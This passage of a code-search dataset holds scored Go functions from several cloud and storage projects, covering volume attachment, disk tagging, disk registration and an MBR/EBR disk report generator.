\"Failed to map nodes provider id to instance id: \", err)\n\t}\n\n\tctx := context.Background()\n\n\tinstance, err := c.Compute().GetInstance(ctx, id)\n\tif err != nil {\n\t\terrorType = util.GetError(err)\n\t\tfvdMetricDimension = util.GetMetricDimensionForComponent(errorType, util.FVDStorageType)\n\t\tdimensionsMap[metrics.ComponentDimension] = fvdMetricDimension\n\t\tmetrics.SendMetricData(d.metricPusher, metrics.PVAttach, time.Since(startTime).Seconds(), dimensionsMap)\n\t\treturn flexvolume.Fail(logger, \"Failed to get instance: \", err)\n\t}\n\n\tcompartmentID := *instance.CompartmentId\n\n\t//Checking if the volume is already attached\n\tattachment, err := c.Compute().FindVolumeAttachment(ctx, compartmentID, volumeOCID)\n\tif err != nil && !client.IsNotFound(err) {\n\t\terrorType = util.GetError(err)\n\t\tfvdMetricDimension = util.GetMetricDimensionForComponent(errorType, util.FVDStorageType)\n\t\tdimensionsMap[metrics.ComponentDimension] = fvdMetricDimension\n\t\tmetrics.SendMetricData(d.metricPusher, metrics.PVAttach, time.Since(startTime).Seconds(), dimensionsMap)\n\t\treturn flexvolume.Fail(logger, \"Got error in finding volume attachment\", err)\n\t}\n\t// volume already attached to an instance\n\tif err == nil {\n\t\tif *attachment.GetInstanceId() != *instance.Id {\n\t\t\tfvdMetricDimension = util.GetMetricDimensionForComponent(util.ErrValidation, util.FVDStorageType)\n\t\t\tdimensionsMap[metrics.ComponentDimension] = fvdMetricDimension\n\t\t\tmetrics.SendMetricData(d.metricPusher, metrics.PVAttach, time.Since(startTime).Seconds(), dimensionsMap)\n\t\t\treturn flexvolume.Fail(logger, \"Already attached to another instance: \", *attachment.GetInstanceId())\n\t\t}\n\t\tlogger.With(\"volumeID\", volumeOCID, \"instanceID\", *instance.Id).Info(\"Volume is already attached to instance\")\n\t\tiscsiAttachment, err := getISCSIAttachment(attachment)\n\t\tif err != nil {\n\t\t\terrorType = util.GetError(err)\n\t\t\tfvdMetricDimension = util.GetMetricDimensionForComponent(errorType, util.FVDStorageType)\n\t\t\tdimensionsMap[metrics.ComponentDimension] = fvdMetricDimension\n\t\t\tmetrics.SendMetricData(d.metricPusher, metrics.PVAttach, time.Since(startTime).Seconds(), dimensionsMap)\n\t\t\treturn flexvolume.Fail(logger, iscsiError)\n\t\t}\n\t\tfvdMetricDimension = util.GetMetricDimensionForComponent(util.Success, util.FVDStorageType)\n\t\tdimensionsMap[metrics.ComponentDimension] = fvdMetricDimension\n\t\tmetrics.SendMetricData(d.metricPusher, metrics.PVAttach, time.Since(startTime).Seconds(), dimensionsMap)\n\t\treturn flexvolume.DriverStatus{\n\t\t\tStatus: flexvolume.StatusSuccess,\n\t\t\tDevice: fmt.Sprintf(diskIDByPathTemplate, *iscsiAttachment.Ipv4, *iscsiAttachment.Port, *iscsiAttachment.Iqn),\n\t\t}\n\t}\n\t// volume not attached to any instance, proceed with volume attachment\n\tlogger.With(\"volumeID\", volumeOCID, \"instanceID\", *instance.Id).Info(\"Attaching volume to instance\")\n\tattachment, err = c.Compute().AttachVolume(ctx, *instance.Id, volumeOCID)\n\tif err != nil {\n\t\terrorType = util.GetError(err)\n\t\tfvdMetricDimension = util.GetMetricDimensionForComponent(errorType, util.FVDStorageType)\n\t\tdimensionsMap[metrics.ComponentDimension] = fvdMetricDimension\n\t\tmetrics.SendMetricData(d.metricPusher, metrics.PVAttach, time.Since(startTime).Seconds(), dimensionsMap)\n\t\treturn flexvolume.Fail(logger, \"Failed to attach volume: \", err)\n\t}\n\tattachment, err = c.Compute().WaitForVolumeAttached(ctx, *attachment.GetId())\n\tif err != nil {\n\t\terrorType = util.GetError(err)\n\t\tfvdMetricDimension = util.GetMetricDimensionForComponent(errorType, util.FVDStorageType)\n\t\tdimensionsMap[metrics.ComponentDimension] = fvdMetricDimension\n\t\tmetrics.SendMetricData(d.metricPusher, metrics.PVAttach, time.Since(startTime).Seconds(), dimensionsMap)\n\t\treturn flexvolume.Fail(logger, err)\n\t}\n\tlogger.With(\"attachmentID\", *attachment.GetId()).Info(\"Volume attached\")\n\n\tiscsiAttachment, err := getISCSIAttachment(attachment)\n\tif err != nil {\n\t\terrorType = util.GetError(err)\n\t\tfvdMetricDimension = util.GetMetricDimensionForComponent(errorType, util.FVDStorageType)\n\t\tdimensionsMap[metrics.ComponentDimension] = fvdMetricDimension\n\t\tmetrics.SendMetricData(d.metricPusher, metrics.PVAttach, time.Since(startTime).Seconds(), dimensionsMap)\n\t\treturn flexvolume.Fail(logger, iscsiError)\n\t}\n\n\tfvdMetricDimension = util.GetMetricDimensionForComponent(util.Success, util.FVDStorageType)\n\tdimensionsMap[metrics.ComponentDimension] = fvdMetricDimension\n\tmetrics.SendMetricData(d.metricPusher, metrics.PVAttach, time.Since(startTime).Seconds(), dimensionsMap)\n\n\treturn flexvolume.DriverStatus{\n\t\tStatus: flexvolume.StatusSuccess,\n\t\tDevice: fmt.Sprintf(diskIDByPathTemplate, *iscsiAttachment.Ipv4, *iscsiAttachment.Port, *iscsiAttachment.Iqn),\n\t}\n}", "title": "" }, { "docid": "8f5f1828b43d4fffea58387af67f7587", "score": "0.48762348", "text": "func (m *defaultManager) AttachVolume(ctx context.Context,\n\tvm *cnsvsphere.VirtualMachine, volumeID string, checkNVMeController bool) (string, string, error) {\n\tctx, cancelFunc := ensureOperationContextHasATimeout(ctx)\n\tdefer cancelFunc()\n\tinternalAttachVolume := func() (string, string, error) {\n\t\tlog := logger.GetLogger(ctx)\n\t\tvar faultType string\n\t\terr := validateManager(ctx, m)\n\t\tif err != nil {\n\t\t\tfaultType = ExtractFaultTypeFromErr(ctx, err)\n\t\t\treturn \"\", faultType, err\n\t\t}\n\t\t// Set up the VC connection.\n\t\terr = m.virtualCenter.ConnectCns(ctx)\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"ConnectCns failed with err: %+v\", err)\n\t\t\tfaultType = ExtractFaultTypeFromErr(ctx, err)\n\t\t\treturn \"\", faultType, err\n\t\t}\n\t\t// Construct the CNS AttachSpec list.\n\t\tvar cnsAttachSpecList []cnstypes.CnsVolumeAttachDetachSpec\n\t\tcnsAttachSpec := cnstypes.CnsVolumeAttachDetachSpec{\n\t\t\tVolumeId: cnstypes.CnsVolumeId{\n\t\t\t\tId: volumeID,\n\t\t\t},\n\t\t\tVm: vm.Reference(),\n\t\t}\n\t\tcnsAttachSpecList = append(cnsAttachSpecList, cnsAttachSpec)\n\t\t// Call the CNS AttachVolume.\n\t\ttask, err := m.virtualCenter.CnsClient.AttachVolume(ctx, cnsAttachSpecList)\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"CNS AttachVolume failed from vCenter %q with err: %v\", m.virtualCenter.Config.Host, err)\n\t\t\tfaultType = ExtractFaultTypeFromErr(ctx, err)\n\t\t\treturn \"\", faultType, err\n\t\t}\n\t\t// Get the taskInfo.\n\n\t\tvar taskInfo *vim25types.TaskInfo\n\t\tif m.tasksListViewEnabled {\n\t\t\ttaskInfo, err = m.waitOnTask(ctx, task.Reference())\n\t\t} else {\n\t\t\ttaskInfo, err = cns.GetTaskInfo(ctx, task)\n\t\t}\n\n\t\tif err != nil || taskInfo == nil {\n\t\t\tlog.Errorf(\"failed to get taskInfo for AttachVolume task from vCenter %q with err: %v\",\n\t\t\t\tm.virtualCenter.Config.Host, err)\n\t\t\tif err != nil {\n\t\t\t\tfaultType = ExtractFaultTypeFromErr(ctx, err)\n\t\t\t} else {\n\t\t\t\tfaultType = csifault.CSITaskInfoEmptyFault\n\t\t\t}\n\t\t\treturn \"\", faultType, err\n\t\t}\n\t\tlog.Infof(\"AttachVolume: volumeID: %q, vm: %q, opId: %q\", volumeID, vm.String(), taskInfo.ActivationId)\n\t\t// Get the taskResult\n\t\ttaskResult, err := cns.GetTaskResult(ctx, taskInfo)\n\t\tif err != nil {\n\t\t\tfaultType = ExtractFaultTypeFromErr(ctx, err)\n\t\t\tlog.Errorf(\"unable to find AttachVolume result from vCenter %q with taskID %s and attachResults %v\",\n\t\t\t\tm.virtualCenter.Config.Host, taskInfo.Task.Value, taskResult)\n\t\t\treturn \"\", faultType, err\n\t\t}\n\n\t\tif taskResult == nil {\n\t\t\treturn \"\", csifault.CSITaskResultEmptyFault,\n\t\t\t\tlogger.LogNewErrorf(log, \"taskResult is empty for AttachVolume task: %q, opId: %q\",\n\t\t\t\t\ttaskInfo.Task.Value, taskInfo.ActivationId)\n\t\t}\n\n\t\tvolumeOperationRes := taskResult.GetCnsVolumeOperationResult()\n\t\tif volumeOperationRes.Fault != nil {\n\t\t\tfaultType = ExtractFaultTypeFromVolumeResponseResult(ctx, volumeOperationRes)\n\t\t\t_, isResourceInUseFault := volumeOperationRes.Fault.Fault.(*vim25types.ResourceInUse)\n\t\t\tif isResourceInUseFault {\n\t\t\t\tlog.Infof(\"observed ResourceInUse fault while attaching volume: %q with vm: %q\", volumeID, vm.String())\n\t\t\t\t// Check if volume is already attached to the requested node.\n\t\t\t\tdiskUUID, err := IsDiskAttached(ctx, vm, volumeID, checkNVMeController)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn \"\", faultType, err\n\t\t\t\t}\n\t\t\t\tif diskUUID != \"\" {\n\t\t\t\t\treturn diskUUID, \"\", nil\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn \"\", faultType, logger.LogNewErrorf(log, \"failed to attach cns volume: %q to node vm: %q. fault: %q. opId: %q\",\n\t\t\t\tvolumeID, vm.String(), spew.Sdump(volumeOperationRes.Fault), taskInfo.ActivationId)\n\t\t}\n\t\tdiskUUID := interface{}(taskResult).(*cnstypes.CnsVolumeAttachResult).DiskUUID\n\t\tlog.Infof(\"AttachVolume: Volume attached successfully. volumeID: %q, opId: %q, vm: %q, diskUUID: %q\",\n\t\t\tvolumeID, taskInfo.ActivationId, vm.String(), diskUUID)\n\t\treturn diskUUID, \"\", nil\n\t}\n\tstart := time.Now()\n\tresp, faultType, err := internalAttachVolume()\n\tlog := logger.GetLogger(ctx)\n\tlog.Debugf(\"internalAttachVolume: returns fault %q for volume %q\", faultType, volumeID)\n\tif err != nil {\n\t\tprometheus.CnsControlOpsHistVec.WithLabelValues(prometheus.PrometheusCnsAttachVolumeOpType,\n\t\t\tprometheus.PrometheusFailStatus).Observe(time.Since(start).Seconds())\n\t} else {\n\t\tprometheus.CnsControlOpsHistVec.WithLabelValues(prometheus.PrometheusCnsAttachVolumeOpType,\n\t\t\tprometheus.PrometheusPassStatus).Observe(time.Since(start).Seconds())\n\t}\n\treturn resp, faultType, err\n}", "title": "" }, { "docid": "90a7fd320287747bbc29bb3b507eca34", "score": "0.48627722", "text": "func tagDiskAsK8sAttached(diskID string) {\n\t// Step 1: Describe disk, if tag exist, return;\n\tdescribeDisksRequest := ecs.CreateDescribeDisksRequest()\n\tdescribeDisksRequest.RegionId = GlobalConfigVar.Region\n\tdescribeDisksRequest.DiskIds = \"[\\\"\" + diskID + \"\\\"]\"\n\tdiskResponse, err := GlobalConfigVar.EcsClient.DescribeDisks(describeDisksRequest)\n\tif err != nil {\n\t\tlog.Warnf(\"tagAsK8sAttached: error with DescribeDisks: %s, %s\", diskID, err.Error())\n\t\treturn\n\t}\n\tdisks := diskResponse.Disks.Disk\n\tif len(disks) == 0 {\n\t\tlog.Warnf(\"tagAsK8sAttached: no disk found: %s\", diskID)\n\t\treturn\n\t}\n\tfor _, tag := range disks[0].Tags.Tag {\n\t\tif tag.TagKey == DiskAttachedKey && tag.TagValue == DiskAttachedValue {\n\t\t\treturn\n\t\t}\n\t}\n\n\t// Step 2: Describe tag\n\tdescribeTagRequest := ecs.CreateDescribeTagsRequest()\n\ttag := ecs.DescribeTagsTag{Key: DiskAttachedKey, Value: DiskAttachedValue}\n\tdescribeTagRequest.Tag = &[]ecs.DescribeTagsTag{tag}\n\t_, err = GlobalConfigVar.EcsClient.DescribeTags(describeTagRequest)\n\tif err != nil {\n\t\tlog.Warnf(\"tagAsK8sAttached: DescribeTags error: %s, %s\", diskID, err.Error())\n\t\treturn\n\t}\n\n\t// Step 3: create & attach tag\n\taddTagsRequest := ecs.CreateAddTagsRequest()\n\ttmpTag := ecs.AddTagsTag{Key: DiskAttachedKey, Value: DiskAttachedValue}\n\taddTagsRequest.Tag = &[]ecs.AddTagsTag{tmpTag}\n\taddTagsRequest.ResourceType = \"disk\"\n\taddTagsRequest.ResourceId = diskID\n\taddTagsRequest.RegionId = GlobalConfigVar.Region\n\t_, err = GlobalConfigVar.EcsClient.AddTags(addTagsRequest)\n\tif err != nil {\n\t\tlog.Warnf(\"tagAsK8sAttached: AddTags error: %s, %s\", diskID, err.Error())\n\t\treturn\n\t}\n\tlog.Infof(\"tagDiskAsK8sAttached:: add tag to disk: %s\", diskID)\n}", "title": "" }, { "docid": "49cc3a76684ad5837d8634ad02b7314a", "score": "0.48419318", "text": "func (vcd *TestVCD) Test_AttachedVMDisk(check *C) {\n\tif vcd.skipVappTests {\n\t\tcheck.Skip(\"skipping test because vApp wasn't properly created\")\n\t}\n\n\t// Find VM\n\tvapp := vcd.findFirstVapp()\n\tvmType, vmName := vcd.findFirstVm(vapp)\n\tif vmName == \"\" {\n\t\tcheck.Skip(\"skipping test because no VM is found\")\n\t}\n\n\tfmt.Printf(\"Running: %s\\n\", check.TestName())\n\n\tvm := NewVM(&vcd.client.Client)\n\tvm.VM = &vmType\n\n\t// Ensure vApp and VM are suitable for this test\n\t// Disk attach and detach operations are not working if VM is suspended\n\terr := vcd.ensureVappIsSuitableForVMTest(vapp)\n\tcheck.Assert(err, IsNil)\n\terr = vcd.ensureVMIsSuitableForVMTest(vm)\n\tcheck.Assert(err, IsNil)\n\n\t// Create disk\n\tdiskCreateParamsDisk := &types.Disk{\n\t\tName: TestAttachedVMDisk,\n\t\tSizeMb: 210,\n\t\tDescription: TestAttachedVMDisk,\n\t}\n\n\tdiskCreateParams := &types.DiskCreateParams{\n\t\tDisk: diskCreateParamsDisk,\n\t}\n\n\ttask, err := vcd.vdc.CreateDisk(diskCreateParams)\n\tcheck.Assert(err, IsNil)\n\n\tcheck.Assert(task.Task.Owner.Type, Equals, types.MimeDisk)\n\tdiskHREF := task.Task.Owner.HREF\n\n\tPrependToCleanupList(diskHREF, \"disk\", \"\", check.TestName())\n\n\t// Wait for disk creation complete\n\terr = task.WaitTaskCompletion()\n\tcheck.Assert(err, IsNil)\n\n\t// Verify created disk\n\tcheck.Assert(diskHREF, Not(Equals), \"\")\n\tdisk, err := vcd.vdc.GetDiskByHref(diskHREF)\n\tcheck.Assert(err, IsNil)\n\tcheck.Assert(disk.Disk.Name, Equals, diskCreateParamsDisk.Name)\n\tcheck.Assert(disk.Disk.SizeMb, Equals, diskCreateParamsDisk.SizeMb)\n\tcheck.Assert(disk.Disk.Description, Equals, diskCreateParamsDisk.Description)\n\n\t// Attach disk\n\tattachDiskTask, err := vm.AttachDisk(&types.DiskAttachOrDetachParams{\n\t\tDisk: &types.Reference{\n\t\t\tHREF: disk.Disk.HREF,\n\t\t},\n\t})\n\tcheck.Assert(err, IsNil)\n\n\terr = attachDiskTask.WaitTaskCompletion()\n\tcheck.Assert(err, IsNil)\n\n\t// Get attached VM\n\tvmRef, err := disk.AttachedVM()\n\tcheck.Assert(err, IsNil)\n\tcheck.Assert(vmRef, NotNil)\n\tcheck.Assert(vmRef.Name, Equals, vm.VM.Name)\n\n\t// Get attached VM\n\tvmHrefs, err := disk.GetAttachedVmsHrefs()\n\tcheck.Assert(err, IsNil)\n\tcheck.Assert(vmHrefs, NotNil)\n\tcheck.Assert(len(vmHrefs), Equals, 1)\n\tcheck.Assert(vmHrefs[0], Equals, vm.VM.HREF)\n\n\t// Detach disk\n\terr = vcd.detachIndependentDisk(Disk{disk.Disk, &vcd.client.Client})\n\tcheck.Assert(err, IsNil)\n}", "title": "" }, { "docid": "95e7ecd4aace1182d3c958535b53fd0e", "score": "0.48304307", "text": "func FormatDisk(path string) error {\n\treturn errors.New(\"not implemented\")\n}", "title": "" }, { "docid": "553fec2d596cf7dbc497964f66934dc4", "score": "0.47916842", "text": "func (vm *VolumeManager) Attach(image, pool, id, key, clusterNamespace string) (string, error) {\n\t// Check if the volume is already attached\n\tdevicePath, err := vm.isAttached(image, pool, clusterNamespace)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to check if volume %s/%s is already attached: %+v\", pool, image, err)\n\t}\n\tif devicePath != \"\" {\n\t\tlogger.Infof(\"volume %s/%s is already attached. The device path is %s\", pool, image, devicePath)\n\t\treturn devicePath, nil\n\t}\n\n\tif id == \"\" && key == \"\" {\n\t\treturn \"\", fmt.Errorf(\"no id nor keyring given, can't mount without credentials\")\n\t}\n\n\t// Attach and poll until volume is mapped\n\tlogger.Infof(\"attaching volume %s/%s cluster %s\", pool, image, clusterNamespace)\n\tmonitors, keyring, err := getClusterInfo(vm.context, clusterNamespace)\n\tdefer os.Remove(keyring)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to load cluster information from cluster %s: %+v\", clusterNamespace, err)\n\t}\n\n\t// Write the user given key to the keyring file\n\tif key != \"\" {\n\t\tkeyringEval := func(key string) string {\n\t\t\tr := fmt.Sprintf(keyringTemplate, id, key)\n\t\t\treturn r\n\t\t}\n\t\tif err = cephconfig.WriteKeyring(keyring, key, keyringEval); err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"failed writing custom keyring for id %s. %+v\", id, err)\n\t\t}\n\t}\n\n\terr = cephclient.MapImage(vm.context, image, pool, id, keyring, clusterNamespace, monitors)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to map image %s/%s cluster %s. %+v\", pool, image, clusterNamespace, err)\n\t}\n\n\t// Poll for device path\n\tretryCount := 0\n\tfor {\n\t\tdevicePath, err := vm.devicePathFinder.FindDevicePath(image, pool, clusterNamespace)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"failed to poll for mapped image %s/%s cluster %s. %+v\", pool, image, clusterNamespace, err)\n\t\t}\n\n\t\tif devicePath != \"\" {\n\t\t\treturn devicePath, nil\n\t\t}\n\n\t\tretryCount++\n\t\tif retryCount >= findDevicePathMaxRetries {\n\t\t\treturn \"\", fmt.Errorf(\"exceeded retry count while finding device path: %+v\", err)\n\t\t}\n\n\t\tlogger.Infof(\"failed to find device path, sleeping 1 second: %+v\", err)\n\t\t<-time.After(time.Second)\n\t}\n}", "title": "" }, { "docid": "854b119cb87553f6eceffa8e8a850f0f", "score": "0.47809216", "text": "func (p Manager) Attach(dev string, mac net.HardwareAddr, ipnet *net.IPNet, gw *net.IP, prio int, hostBr string) error {\n\tnetns, err := ns.GetNS(p.NSPath)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"invalid netns path %q: %v\", p.NSPath, err)\n\t}\n\tdefer netns.Close()\n\n\tlxbr := ovsplug.NewLinuxBridge(hostBr)\n\tif err := lxbr.InitDevice(); err != nil {\n\t\treturn fmt.Errorf(\"failed to create bridge %q: %v\", hostBr, err)\n\t}\n\n\tvtepTemp, err := createBridgedVTEPInNs(lxbr, netns)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to hook endpoint nic %q inside netns %q to host bridge %q: %v\", dev, p.NSPath, hostBr, err)\n\t}\n\n\treturn ns.WithNetNSPath(p.NSPath, func(nsOrig ns.NetNS) error {\n\t\treturn configNet(vtepTemp, dev, mac, ipnet, gw, prio)\n\t})\n}", "title": "" }, { "docid": "872e670426df97cce334bc9835008c6a", "score": "0.4750321", "text": "func (g *CloudInitGenerator) DiskDef() *libvirtxml.DomainDisk {\n\treturn &libvirtxml.DomainDisk{\n\t\tDevice: \"cdrom\",\n\t\tDriver: &libvirtxml.DomainDiskDriver{Name: \"qemu\", Type: \"raw\"},\n\t\tSource: &libvirtxml.DomainDiskSource{File: &libvirtxml.DomainDiskSourceFile{File: g.IsoPath()}},\n\t\tReadOnly: &libvirtxml.DomainDiskReadOnly{},\n\t}\n}", "title": "" }, { "docid": "a398831a5e33acc4755c788a95df9574", "score": "0.47480124", "text": "func (h *StubDriveHandler) Reserve(\n\trequestCtx context.Context,\n\tid string,\n\thostPath string,\n\tvmPath string,\n\tfilesystemType string,\n\toptions []string,\n\tdriveMounter drivemount.DriveMounterService,\n\tmachine firecracker.MachineIface,\n) error {\n\th.mu.Lock()\n\tdefer h.mu.Unlock()\n\tif len(h.freeDrives) == 0 {\n\t\treturn ErrDrivesExhausted\n\t}\n\tif _, ok := h.usedDrives[id]; ok {\n\t\t// This case means that drive wasn't released or removed properly\n\t\treturn fmt.Errorf(\"drive with ID %s already in use, a previous attempt to remove it may have failed\", id)\n\t}\n\n\tfreeDrive := h.freeDrives[0]\n\toptions, err := setReadWriteOptions(options, freeDrive.driveMount.IsWritable)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tstubDrive := freeDrive.withMountConfig(\n\t\thostPath,\n\t\tvmPath,\n\t\tfilesystemType,\n\t\toptions,\n\t)\n\tfreeDrive = &stubDrive\n\n\terr = stubDrive.PatchAndMount(requestCtx, machine, driveMounter)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"failed to mount drive inside vm: %w\", err)\n\t\treturn err\n\t}\n\n\th.freeDrives = h.freeDrives[1:]\n\th.usedDrives[id] = freeDrive\n\treturn nil\n}", "title": "" }, { "docid": "3c2bac328caf988100b322f1a7a9c5ae", "score": "0.4738514", "text": "func SetInterfaceMaster(name, master string) error {\n\tcmd := exec.Command(\"ip\", \"link\", \"set\", \"dev\", name, \"master\", master)\n\n\tout, err := cmd.CombinedOutput()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"ip link set master: %s\", utils.OneLine(out))\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "3bf8e6ffc8e876d45e5f739a50444414", "score": "0.47262114", "text": "func (a *AzureVolumes) AttachVolume(volume *volumes.Volume) error {\n\tif volume.LocalDevice == \"\" {\n\t\t// The volume has not yet been attached. Attach ctx.\n\n\t\tctx := context.TODO()\n\t\tinstID := a.client.vmScaleSetInstanceID()\n\t\tvm, err := a.client.getVMScaleSetVM(ctx, instID)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error getting VM: %s\", err)\n\t\t}\n\n\t\t// Update the VM and append a new data disk.\n\t\tlun, err := a.findAvailableLun()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error finding available Lun: %s\", err)\n\t\t}\n\n\t\td := compute.DataDisk{\n\t\t\tLun: to.Int32Ptr(lun),\n\t\t\t// This is a hack to get a disk name from the description.\n\t\t\tName: to.StringPtr(volume.Info.Description),\n\t\t\tCreateOption: compute.DiskCreateOptionTypesAttach,\n\t\t\tManagedDisk: &compute.ManagedDiskParameters{\n\t\t\t\tStorageAccountType: compute.StorageAccountTypesStandardLRS,\n\t\t\t\tID: to.StringPtr(volume.ProviderID),\n\t\t\t},\n\t\t}\n\t\tdds := append(*vm.StorageProfile.DataDisks, d)\n\t\tvm.StorageProfile.DataDisks = &dds\n\t\tif err := a.client.updateVMScaleSetVM(ctx, instID, *vm); err != nil {\n\t\t\treturn fmt.Errorf(\"error updating VM: %s\", err)\n\t\t}\n\n\t\tvolume.LocalDevice = lunToDev(strconv.Itoa(int(lun)))\n\t}\n\n\t// TODO(kenji): Wait until the disk is attached to the instance.\n\n\treturn nil\n}", "title": "" }, { "docid": "5ff014e6b14cf5dd32351a0980f2032b", "score": "0.4725503", "text": "func (d *csifDisk) Create(req *csi.CreateVolumeRequest, volID string) error {\n\t/* no dynamic provisioning */\n\treturn status.Errorf(codes.Unimplemented, \"\")\n}", "title": "" }, { "docid": "7f236f6464f244a2c0b14cf2130b631f", "score": "0.47090885", "text": "func (m *defaultManager) RegisterDisk(ctx context.Context, path string, name string) (string, error) {\n\tlog := logger.GetLogger(ctx)\n\terr := validateManager(ctx, m)\n\tif err != nil {\n\t\tlog.Errorf(\"failed to validate volume manager with err: %+v\", err)\n\t\treturn \"\", err\n\t}\n\t// Set up the VC connection.\n\terr = m.virtualCenter.ConnectVslm(ctx)\n\tif err != nil {\n\t\tlog.Errorf(\"ConnectVslm failed with err: %+v\", err)\n\t\treturn \"\", err\n\t}\n\tglobalObjectManager := vslm.NewGlobalObjectManager(m.virtualCenter.VslmClient)\n\tvStorageObject, err := globalObjectManager.RegisterDisk(ctx, path, name)\n\tif err != nil {\n\t\talreadyExists, objectID := cnsvsphere.IsAlreadyExists(err)\n\t\tif alreadyExists {\n\t\t\tlog.Infof(\"vStorageObject: %q, already exists and registered as FCD, returning success\", objectID)\n\t\t\treturn objectID, nil\n\t\t}\n\t\tlog.Errorf(\"failed to register virtual disk %q as first class disk with err: %v\", path, err)\n\t\treturn \"\", err\n\t}\n\treturn vStorageObject.Config.Id.Id, nil\n}", "title": "" }, { "docid": "b2dd52b6d4916065e0e344c862dbd2eb", "score": "0.47087747", "text": "func (s *xlStorage) SetDiskID(id string) {\n\t// NO-OP for xlStorage as it is handled either by xlStorageDiskIDCheck{} for local disks or\n\t// storage rest server for remote disks.\n}", "title": "" }, { "docid": "cf690d42035f21a80d706ec3751d4472", "score": "0.4704776", "text": "func Disk(path string, ExtSalida string, pathSalida string) bool {\n\tfile, err := os.Open(path)\n\tdefer file.Close()\n\tif err != nil {\n\t\tcolorstring.Println(\"[red]Ocurrio un error al abrir el Disco \" + path)\n\n\t}\n\tmbr := Estruct.MBR{}\n\tA := ReadBytes(file, int(unsafe.Sizeof(mbr)))\n\tbuffer := bytes.NewBuffer(A)\n\terr = binary.Read(buffer, binary.BigEndian, &mbr)\n\tif err != nil {\n\t\tcolorstring.Println(\"[red]Ocurrio un error al leer el Disco \" + err.Error())\n\t\treturn false\n\t}\n\tvar partStart, SizeTotal int64 = 0, 0\n\tif mbr.Mbr_partition_1.Part_type == 'E' {\n\t\tpartStart = mbr.Mbr_partition_1.Part_start\n\t\tSizeTotal = mbr.Mbr_partition_1.Part_size\n\t} else if mbr.Mbr_partition_2.Part_type == 'E' {\n\t\tpartStart = mbr.Mbr_partition_2.Part_start\n\t\tSizeTotal = mbr.Mbr_partition_2.Part_size\n\t} else if mbr.Mbr_partition_3.Part_type == 'E' {\n\t\tpartStart = mbr.Mbr_partition_3.Part_start\n\t\tSizeTotal = mbr.Mbr_partition_3.Part_size\n\t} else if mbr.Mbr_partition_4.Part_type == 'E' {\n\t\tpartStart = mbr.Mbr_partition_4.Part_start\n\t\tSizeTotal = mbr.Mbr_partition_4.Part_size\n\t}\n\n\t//Leer EBR\n\tif partStart != 0 {\n\t\tfile.Seek(partStart, 0)\n\t\tebr := Estruct.EBR{}\n\t\tA = ReadBytes(file, int(unsafe.Sizeof(ebr)))\n\t\tbuffer = bytes.NewBuffer(A)\n\t\terr = binary.Read(buffer, binary.BigEndian, &ebr)\n\t\tif err != nil {\n\t\t\tcolorstring.Println(\"[red]Ocurrio un error al leer el Disco \" + err.Error())\n\t\t\treturn false\n\t\t}\n\t\tListEBRS = nil\n\t\tRecEBRS(file, ebr, SizeTotal, 0)\n\t}\n\tvar lstpartMBR [4]Estruct.Partition\n\tlstpartMBR[0] = mbr.Mbr_partition_1\n\tlstpartMBR[1] = mbr.Mbr_partition_2\n\tlstpartMBR[2] = mbr.Mbr_partition_3\n\tlstpartMBR[3] = mbr.Mbr_partition_4\n\tos.MkdirAll(\"Assets\", 0775)\n\tfile2, errFile := os.Create(\"Assets/Disk.dot\")\n\tif errFile != nil {\n\t\tlog.Fatal(errFile)\n\t}\n\tfile2.WriteString(\"digraph D {\\n\")\n\tfile2.WriteString(\"node [fontname=\\\"Arial\\\"];\\n\")\n\tF := \"\"\n\tfor _, fech := range mbr.Mbr_fecha_creacion {\n\t\tif fech != 0 {\n\t\t\tF = F + string(fech)\n\t\t}\n\t}\n\tvar SizeUse int64 = 0\n\tnameDisc := strings.Split(file.Name(), \"/\")\n\tfile2.WriteString(\"MBR [shape=record label=\\\"\" + nameDisc[len(nameDisc)-1] + \"\\\\n\" + F + \"|{MBR \\\\n \" + strconv.Itoa(int(mbr.Mbr_tamaño)) + \"|\")\n\tfor j, value := range lstpartMBR {\n\t\tSizeUse = SizeUse + int64(value.Part_size)\n\t\tif value.Part_type == 'E' {\n\t\t\tname := \"\"\n\t\t\tfor _, char := range value.Part_name {\n\t\t\t\tif char != 0 {\n\t\t\t\t\tname = name + string(char)\n\t\t\t\t}\n\t\t\t}\n\t\t\tfile2.WriteString(\"Extendida \\\\n\" + name + \"\\\\n\" + strconv.Itoa(int(value.Part_size)) + \"|{\")\n\t\t\tfor i, EBRS := range ListEBRS {\n\t\t\t\tif len(ListEBRS)-1 == i {\n\t\t\t\t\tfile2.WriteString(string(strings.Split(EBRS, \",\")[0]) + \" \\\\n \" + string(strings.Split(EBRS, \",\")[1]))\n\t\t\t\t} else {\n\t\t\t\t\tfile2.WriteString(string(strings.Split(EBRS, \",\")[0]) + \" \\\\n \" + string(strings.Split(EBRS, \",\")[1]) + \"|\")\n\t\t\t\t}\n\t\t\t}\n\t\t\tif len(lstpartMBR)-1 == j {\n\t\t\t\tfile2.WriteString(\"}\")\n\t\t\t} else {\n\t\t\t\tfile2.WriteString(\"}|\")\n\t\t\t}\n\t\t} else {\n\t\t\tname := \"\"\n\t\t\tfor _, char := range value.Part_name {\n\t\t\t\tif char != 0 {\n\t\t\t\t\tname = name + string(char)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif len(lstpartMBR)-1 == j {\n\t\t\t\tfile2.WriteString(name + \" \\\\n \" + strconv.Itoa(int(value.Part_size)))\n\t\t\t} else {\n\t\t\t\tfile2.WriteString(name + \" \\\\n \" + strconv.Itoa(int(value.Part_size)) + \"|\")\n\t\t\t}\n\t\t}\n\t}\n\tif mbr.Mbr_tamaño-SizeUse > 0 {\n\t\tfile2.WriteString(\"|Libre\\\\n\" + 